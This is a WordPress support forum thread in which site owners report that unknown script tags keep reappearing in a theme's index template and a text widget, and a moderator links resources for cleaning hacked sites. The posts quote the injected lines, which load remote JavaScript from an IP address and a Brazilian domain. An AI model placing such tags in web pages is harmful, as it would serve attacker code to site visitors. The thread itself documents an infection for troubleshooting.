Title: HELP! Unwanted javascript code keeps getting inserted into Main Index Template
Last modified: August 20, 2016

---

# HELP! Unwanted javascript code keeps getting inserted into Main Index Template

 *  [vglazar](https://wordpress.org/support/users/vglazar/)
 * (@vglazar)
 * [13 years, 9 months ago](https://wordpress.org/support/topic/help-unwanted-javascript-code-keeps-getting-inserted-into-main-index-template/)
 * Unwanted code keeps appearing at the top of the Main Index Template on my theme.
   It throws the home page all out of whack. When I delete the code and Update, 
   it’s back to normal. But it keeps happening by itself. Does anyone know what’s
   going on and how I can stop it from happening? The code is not always the same.
   Below are 2 recent examples:
 * <script type=”text/javascript” src=”[http://187.45.206.10/p/get_applet.php”></script&gt](http://187.45.206.10/p/get_applet.php”></script&gt);
 * <script type=”text/javascript” src=”[http://lig-limp.com.br/rebots.php”></script&gt](http://lig-limp.com.br/rebots.php”></script&gt);

Viewing 3 replies - 1 through 3 (of 3 total)

 *  [Stefan Matei](https://wordpress.org/support/users/nonsalant/)
 * (@nonsalant)
 * [13 years, 9 months ago](https://wordpress.org/support/topic/help-unwanted-javascript-code-keeps-getting-inserted-into-main-index-template/#post-3011764)
 * I’m getting the same thing on a site, in the form of a text widget. I keep deleting
   it and it keeps appearing back the next day.
 * `<script type="text/javascript" src="http://187.45.206.10/p/get_applet.php"></
   script>`
 *  [James Kirk](https://wordpress.org/support/users/boldlygoing/)
 * (@boldlygoing)
 * [13 years, 9 months ago](https://wordpress.org/support/topic/help-unwanted-javascript-code-keeps-getting-inserted-into-main-index-template/#post-3011765)
 * Heya vglazar,
 * Sounds like some rogue spamminess in your theme.
 * Which theme are you using? Can you point us to your site address to take a look?
 * `Cheers! :)`
 *  Moderator [Ipstenu (Mika Epstein)](https://wordpress.org/support/users/ipstenu/)
 * (@ipstenu)
 * 🏳️‍🌈 Advisor and Activist
 * [13 years, 9 months ago](https://wordpress.org/support/topic/help-unwanted-javascript-code-keeps-getting-inserted-into-main-index-template/#post-3011792)
 * You need to start working your way through these resources:
    [http://codex.wordpress.org/FAQ_My_site_was_hacked](http://codex.wordpress.org/FAQ_My_site_was_hacked)
   [http://wordpress.org/support/topic/268083#post-1065779](http://wordpress.org/support/topic/268083#post-1065779)
   [http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/](http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/)
   [http://ottopress.com/2009/hacked-wordpress-backdoors/](http://ottopress.com/2009/hacked-wordpress-backdoors/)
 * Additional Resources:
    [http://sitecheck.sucuri.net/scanner/](http://sitecheck.sucuri.net/scanner/)
   [http://www.unmaskparasites.com/](http://www.unmaskparasites.com/) [http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html](http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html)

Viewing 3 replies - 1 through 3 (of 3 total)

The topic ‘HELP! Unwanted javascript code keeps getting inserted into Main Index
Template’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 3 replies
 * 4 participants
 * Last reply from: [Ipstenu (Mika Epstein)](https://wordpress.org/support/users/ipstenu/)
 * Last activity: [13 years, 9 months ago](https://wordpress.org/support/topic/help-unwanted-javascript-code-keeps-getting-inserted-into-main-index-template/#post-3011792)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
